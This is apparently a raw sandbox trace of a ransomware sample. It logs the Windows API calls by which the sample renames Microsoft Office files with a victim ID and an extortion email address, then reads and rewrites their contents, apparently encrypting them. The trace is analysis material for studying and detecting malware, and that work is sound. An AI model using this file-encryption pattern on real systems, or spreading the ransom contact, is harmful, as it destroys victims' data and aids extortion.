MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.605] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.606] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.606] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fc6c | out: lpFindFileData=0x623fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9b5d49a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9b5d49a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9b8364e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSOUC_~2.FIR")) returned 0x6d5280 [0146.606] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0146.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0146.606] GetProcessHeap () returned 0x630000 [0146.606] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4b38 [0146.606] GetProcessHeap () returned 0x630000 [0146.606] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a46b8 [0146.606] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.606] ReadFile (in: hFile=0x710, lpBuffer=0x6a4b38, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4b38*, lpNumberOfBytesRead=0x623ff0c*=0x60, lpOverlapped=0x0) returned 1 [0146.607] GetProcessHeap () returned 0x630000 [0146.607] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeeb8 [0146.607] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.608] WriteFile (in: hFile=0x710, lpBuffer=0x6a46b8*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a46b8*, lpNumberOfBytesWritten=0x623ff0c*=0x60, lpOverlapped=0x0) returned 1 [0146.608] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.608] WriteFile (in: hFile=0x710, lpBuffer=0x6a4717*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4717*, lpNumberOfBytesWritten=0x623ff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.608] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.608] WriteFile (in: hFile=0x710, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x623ff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.608] CloseHandle (hObject=0x710) returned 1 [0146.608] GetProcessHeap () returned 0x630000 [0146.608] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a46b8 | out: hHeap=0x630000) returned 1 [0146.608] GetProcessHeap () returned 0x630000 [0146.608] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4b38 | out: hHeap=0x630000) returned 1 [0146.608] GetProcessHeap () returned 0x630000 [0146.608] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeeb8 | out: hHeap=0x630000) returned 1 [0146.608] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.608] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fcc4 | out: lpFindFileData=0x623fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9b5d49a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9b5d49a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d55ef48, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x623fd20, dwReserved1=0x6a4b38, cFileName="MSOUC_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSOUC_~2.FIR")) returned 0x6d5440 [0146.609] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0146.609] Sleep (dwMilliseconds=0x1) [0146.632] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC.HXS", len=0x3e | out: pbstr=0x623ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC.HXS") returned 1 [0146.632] GetProcessHeap () returned 0x630000 [0146.632] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26d8) returned 0x71f7c78 [0146.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0146.634] CloseHandle (hObject=0x640) returned 1 [0146.634] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.634] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc.hxs.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.635] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.635] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fc6c | out: lpFindFileData=0x623fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf3143659, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf3143659, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9b8364e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d0b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSOUCH~1.FIR")) returned 0x6d5540 [0146.637] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0146.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc.hxs.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0146.640] GetProcessHeap () returned 0x630000 [0146.640] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x719ec10 [0146.640] GetProcessHeap () returned 0x630000 [0146.640] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72846e0 [0146.641] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.641] ReadFile (in: hFile=0x678, lpBuffer=0x719ec10, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x719ec10*, lpNumberOfBytesRead=0x623ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0154.429] GetProcessHeap () returned 0x630000 [0154.429] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee710 [0154.429] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.429] WriteFile (in: hFile=0x678, lpBuffer=0x72846e0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72846e0*, lpNumberOfBytesWritten=0x623ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0154.429] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.429] WriteFile (in: hFile=0x678, lpBuffer=0x728fadf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x728fadf*, lpNumberOfBytesWritten=0x623ff0c*=0x20, lpOverlapped=0x0) returned 1 [0154.430] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.430] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x623ff0c*=0x4, lpOverlapped=0x0) returned 1 [0154.430] CloseHandle (hObject=0x678) returned 1 [0154.431] GetProcessHeap () returned 0x630000 [0154.431] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72846e0 | out: hHeap=0x630000) returned 1 [0154.431] GetProcessHeap () returned 0x630000 [0154.431] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x719ec10 | out: hHeap=0x630000) returned 1 [0154.431] GetProcessHeap () returned 0x630000 [0154.431] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee710 | out: hHeap=0x630000) returned 1 [0154.540] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0154.540] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fcc4 | out: lpFindFileData=0x623fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf3143659, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf3143659, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x21fe4055, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2d0d4, dwReserved0=0x90c7496, dwReserved1=0x719ec08, cFileName="MSOUC.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSOUCH~1.FIR")) returned 0x6d4ec0 [0154.540] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0154.540] Sleep (dwMilliseconds=0x1) [0154.548] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZDAT12.ACCDU", len=0x46 | out: pbstr=0x623ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZDAT12.ACCDU") returned 1 [0154.548] GetProcessHeap () returned 0x630000 [0154.548] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x713f7f0, Size=0x2b80) returned 0x713f7f0 [0154.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZDAT12.ACCDU" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzdat12.accdu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0154.557] CloseHandle (hObject=0x694) returned 1 [0154.557] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0154.557] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZDAT12.ACCDU" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzdat12.accdu"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZDAT12.ACCDU.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzdat12.accdu.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0154.562] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0154.562] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZDAT12.ACCDU.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fc6c | out: lpFindFileData=0x623fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x12985c4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x12985c4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12a6aa07, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x606000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZDAT12.ACCDU.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ACWZDA~1.FIR")) returned 0x6d4ec0 [0154.925] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0154.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZDAT12.ACCDU.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzdat12.accdu.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0154.925] GetProcessHeap () returned 0x630000 [0154.925] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71803a8 [0154.926] GetProcessHeap () returned 0x630000 [0154.926] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x718b7d8 [0154.926] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.926] ReadFile (in: hFile=0x6cc, lpBuffer=0x71803a8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71803a8*, lpNumberOfBytesRead=0x623ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0163.975] GetProcessHeap () returned 0x630000 [0163.975] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71773d0 [0163.975] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.975] WriteFile (in: hFile=0x6cc, lpBuffer=0x718b7d8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x718b7d8*, lpNumberOfBytesWritten=0x623ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0163.976] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.976] WriteFile (in: hFile=0x6cc, lpBuffer=0x7196bd7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7196bd7*, lpNumberOfBytesWritten=0x623ff0c*=0x20, lpOverlapped=0x0) returned 1 [0163.978] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.978] WriteFile (in: hFile=0x6cc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x623ff0c*=0x4, lpOverlapped=0x0) returned 1 [0163.978] CloseHandle (hObject=0x6cc) returned 1 [0163.979] GetProcessHeap () returned 0x630000 [0163.979] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718b7d8 | out: hHeap=0x630000) returned 1 [0163.979] GetProcessHeap () returned 0x630000 [0163.979] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71803a8 | out: hHeap=0x630000) returned 1 [0163.979] GetProcessHeap () returned 0x630000 [0163.979] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71773d0 | out: hHeap=0x630000) returned 1 [0163.979] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0163.979] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZDAT12.ACCDU.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fcc4 | out: lpFindFileData=0x623fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x12985c4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x12985c4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b0fba6, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x606024, dwReserved0=0x90c7496, dwReserved1=0x71803a0, cFileName="ACWZDAT12.ACCDU.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ACWZDA~1.FIR")) returned 0x6d5280 [0163.979] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0163.979] Sleep (dwMilliseconds=0x1) [0165.382] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1043\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x623ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1043\\PowerPivotExcelClientAddIn.rll") returned 1 [0165.382] GetProcessHeap () returned 0x630000 [0165.382] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bf0) returned 0x707d3d0 [0165.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1043\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1043\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0166.619] CloseHandle (hObject=0x4e8) returned 1 [0166.619] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0166.619] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1043\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1043\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1043\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1043\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0170.560] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0170.560] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1043\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fc6c | out: lpFindFileData=0x623fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5540 [0170.561] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0170.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1043\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1043\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0170.561] GetProcessHeap () returned 0x630000 [0170.561] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f818b0 [0170.562] GetProcessHeap () returned 0x630000 [0170.562] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f8cce0 [0170.562] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.562] ReadFile (in: hFile=0x4e8, lpBuffer=0x6f818b0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f818b0*, lpNumberOfBytesRead=0x623ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0178.902] GetProcessHeap () returned 0x630000 [0178.903] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0178.903] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.903] WriteFile (in: hFile=0x4e8, lpBuffer=0x6f8cce0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f8cce0*, lpNumberOfBytesWritten=0x623ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0178.904] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.904] WriteFile (in: hFile=0x4e8, lpBuffer=0x6f980df*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f980df*, lpNumberOfBytesWritten=0x623ff0c*=0x20, lpOverlapped=0x0) returned 1 [0178.904] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.904] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x623ff0c*=0x4, lpOverlapped=0x0) returned 1 [0178.904] CloseHandle (hObject=0x4e8) returned 1 [0178.904] GetProcessHeap () returned 0x630000 [0178.904] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f8cce0 | out: hHeap=0x630000) returned 1 [0178.904] GetProcessHeap () returned 0x630000 [0178.904] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f818b0 | out: hHeap=0x630000) returned 1 [0178.904] GetProcessHeap () returned 0x630000 [0178.904] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0178.904] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0178.904] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1043\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fcc4 | out: lpFindFileData=0x623fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, 